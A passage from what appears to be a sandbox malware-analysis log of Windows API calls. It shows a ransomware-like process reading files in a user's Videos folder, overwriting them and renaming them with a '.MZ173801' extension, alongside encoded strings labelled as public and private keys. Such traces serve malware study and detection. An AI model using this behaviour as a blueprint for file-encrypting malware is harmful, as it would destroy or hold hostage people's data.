lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0165.995] GetCurrentThreadId () returned 0xab4 [0165.995] GetCurrentThreadId () returned 0xab4 [0165.995] GetCurrentThreadId () returned 0xab4 [0165.995] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\pa0XQGFgpgnvg.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\pa0xqgfgpgnvg.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0165.995] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0165.995] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0165.995] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x2d6a [0165.995] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0165.995] ReadFile (in: hFile=0x27c, lpBuffer=0x24a8f70, nNumberOfBytesToRead=0x2d6a, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24a8f70*, lpNumberOfBytesRead=0x19f480*=0x2d6a, lpOverlapped=0x0) returned 1 [0165.996] CloseHandle (hObject=0x27c) returned 1 [0165.997] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\pa0XQGFgpgnvg.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\pa0xqgfgpgnvg.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0165.998] WriteFile (in: hFile=0x27c, lpBuffer=0x24acfa0*, nNumberOfBytesToWrite=0x2d6a, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24acfa0*, lpNumberOfBytesWritten=0x19f48c*=0x2d6a, lpOverlapped=0x0) returned 1 [0165.999] CloseHandle (hObject=0x27c) returned 1 [0166.134] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\pa0XQGFgpgnvg.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\pa0xqgfgpgnvg.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\pa0XQGFgpgnvg.flv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\pa0xqgfgpgnvg.flv.mz173801")) returned 1 [0166.135] GetCurrentThreadId () returned 0xab4 [0166.135] GetCurrentThreadId () returned 0xab4 [0166.135] GetCurrentThreadId () returned 0xab4 [0166.135] GetCurrentThreadId () returned 0xab4 [0166.135] GetCurrentThreadId () returned 0xab4 [0166.135] GetCurrentThreadId () returned 0xab4 [0166.135] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee14a40, ftCreationTime.dwHighDateTime=0x1d5ed7b, ftLastAccessTime.dwLowDateTime=0xc6c266e0, ftLastAccessTime.dwHighDateTime=0x1d5ee6e, ftLastWriteTime.dwLowDateTime=0xc6c266e0, ftLastWriteTime.dwHighDateTime=0x1d5ee6e, nFileSizeHigh=0x0, nFileSizeLow=0xfbe7, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="pRvInr44zIMLaGG9ke.mkv", cAlternateFileName="PRVINR~1.MKV")) returned 1 [0166.135] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.135] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.135] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\pRvInr44zIMLaGG9ke.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\prvinr44zimlagg9ke.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee14a40, ftCreationTime.dwHighDateTime=0x1d5ed7b, ftLastAccessTime.dwLowDateTime=0xc6c266e0, ftLastAccessTime.dwHighDateTime=0x1d5ee6e, ftLastWriteTime.dwLowDateTime=0xc6c266e0, ftLastWriteTime.dwHighDateTime=0x1d5ee6e, nFileSizeHigh=0x0, nFileSizeLow=0xfbe7)) returned 1 [0166.135] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\pRvInr44zIMLaGG9ke.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\prvinr44zimlagg9ke.mkv")) returned 0x20 [0166.135] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\pRvInr44zIMLaGG9ke.mkv", dwFileAttributes=0x80) returned 1 [0166.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0166.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x3225fac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0166.138] GetCurrentThreadId () returned 0xab4 [0166.138] GetCurrentThreadId () returned 0xab4 [0166.138] GetCurrentThreadId () returned 0xab4 [0166.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0166.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0166.138] GetCurrentThreadId () returned 0xab4 [0166.138] GetCurrentThreadId () returned 0xab4 [0166.139] GetCurrentThreadId () returned 0xab4 [0166.139] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\pRvInr44zIMLaGG9ke.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\prvinr44zimlagg9ke.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.139] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0166.139] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.139] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xfbe7 [0166.139] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.139] ReadFile (in: hFile=0x27c, lpBuffer=0x24a8f70, nNumberOfBytesToRead=0xfbe7, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24a8f70*, lpNumberOfBytesRead=0x19f480*=0xfbe7, lpOverlapped=0x0) returned 1 [0166.140] CloseHandle (hObject=0x27c) returned 1 [0166.141] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\pRvInr44zIMLaGG9ke.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\prvinr44zimlagg9ke.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.142] WriteFile (in: hFile=0x27c, lpBuffer=0x24b8fa0*, nNumberOfBytesToWrite=0xfbe7, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24b8fa0*, lpNumberOfBytesWritten=0x19f48c*=0xfbe7, lpOverlapped=0x0) returned 1 [0166.144] CloseHandle (hObject=0x27c) returned 1 [0166.146] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\pRvInr44zIMLaGG9ke.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\prvinr44zimlagg9ke.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\pRvInr44zIMLaGG9ke.mkv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\prvinr44zimlagg9ke.mkv.mz173801")) returned 1 [0166.147] GetCurrentThreadId () returned 0xab4 [0166.147] GetCurrentThreadId () returned 0xab4 [0166.147] GetCurrentThreadId () returned 0xab4 [0166.147] GetCurrentThreadId () returned 0xab4 [0166.147] GetCurrentThreadId () returned 0xab4 [0166.147] GetCurrentThreadId () returned 0xab4 [0166.148] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 